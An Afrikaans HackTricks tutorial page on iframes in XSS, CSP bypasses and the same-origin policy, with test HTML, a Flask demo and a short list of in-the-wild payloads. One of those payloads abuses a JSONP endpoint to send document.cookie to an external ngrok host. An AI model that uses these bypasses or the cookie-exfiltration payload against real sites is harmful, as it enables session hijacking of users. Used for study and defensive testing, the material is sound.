hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

8.8 KiB

Iframes in XSS, CSP en SOP

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Iframes in XSS

Daar is 3 maniere om die inhoud van 'n iframed bladsy aan te dui:

  • Via src wat 'n URL aandui (die URL kan kruis oorsprong of dieselfde oorsprong wees)
  • Via src wat die inhoud aandui met die data: protokol
  • Via srcdoc wat die inhoud aandui

Toegang tot Ouers & Kind vars

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

As jy die vorige html via 'n http-server (soos python3 -m http.server) benader, sal jy opgemerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit verhinder nie). die ouer sal nie in staat wees om toegang te verkry tot die secret var binne enige iframe nie en slegs die iframes if2 & if3 (wat beskou word as dieselfde webwerf) kan toegang verkry tot die geheim in die oorspronklike venster.
Let op hoe if4 beskou word as 'n null oorsprong.

Iframes met CSP

{% hint style="info" %} Let asseblief op hoe in die volgende omseilings die antwoord op die iframed bladsy geen CSP-kop bevat wat JS-uitvoering verhinder nie. {% endhint %}

Die self waarde van script-src sal nie die uitvoering van die JS-kode met die data: protokol of die srcdoc attribuut toelaat nie.
Ehowever, selfs die none waarde van die CSP sal die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die src attribuut plaas.
Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Let op hoe die vorige CSP slegs die uitvoering van die inline script toelaat.
Echter, slegs if1 en if2 skripte gaan uitgevoer word, maar slegs if1 sal toegang hê tot die ouer geheim.

Daarom is dit moontlik om 'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via iframe kan laai, selfs met script-src 'none'. Dit kan ook moontlik wees om 'n selfde-web JSONP-eindpunt te misbruik.

Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word, selfs met script-src 'none'. Voer eenvoudig die toepassing uit en toegang dit met jou blaaier:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Ander Payloads gevind in die natuur

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Die inhoud binne 'n iframe kan aan addisionele beperkings onderwerp word deur die gebruik van die sandbox attribuut. Standaard word hierdie attribuut nie toegepas nie, wat beteken dat daar geen beperkings in plek is nie.

Wanneer dit gebruik word, plaas die sandbox attribuut verskeie beperkings:

  • Die inhoud word behandel asof dit van 'n unieke bron afkomstig is.
  • Enige poging om vorms in te dien, word geblokkeer.
  • Uitvoering van skripte is verbode.
  • Toegang tot sekere API's is gedeaktiveer.
  • Dit verhoed dat skakels met ander blaai-kontekste interaksie het.
  • Gebruik van plugins via <embed>, <object>, <applet>, of soortgelyke etikette is verbode.
  • Navigasie van die inhoud se topvlak blaai-konteks deur die inhoud self word verhoed.
  • Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outo-fokus van vormkontroles, word geblokkeer.

Die attribuut se waarde kan leeg gelaat word (sandbox="") om al die bogenoemde beperkings toe te pas. Alternatiewelik kan dit gestel word op 'n spasie-geskeide lys van spesifieke waardes wat die iframe van sekere beperkings vrystel.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP

Kyk na die volgende bladsye:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}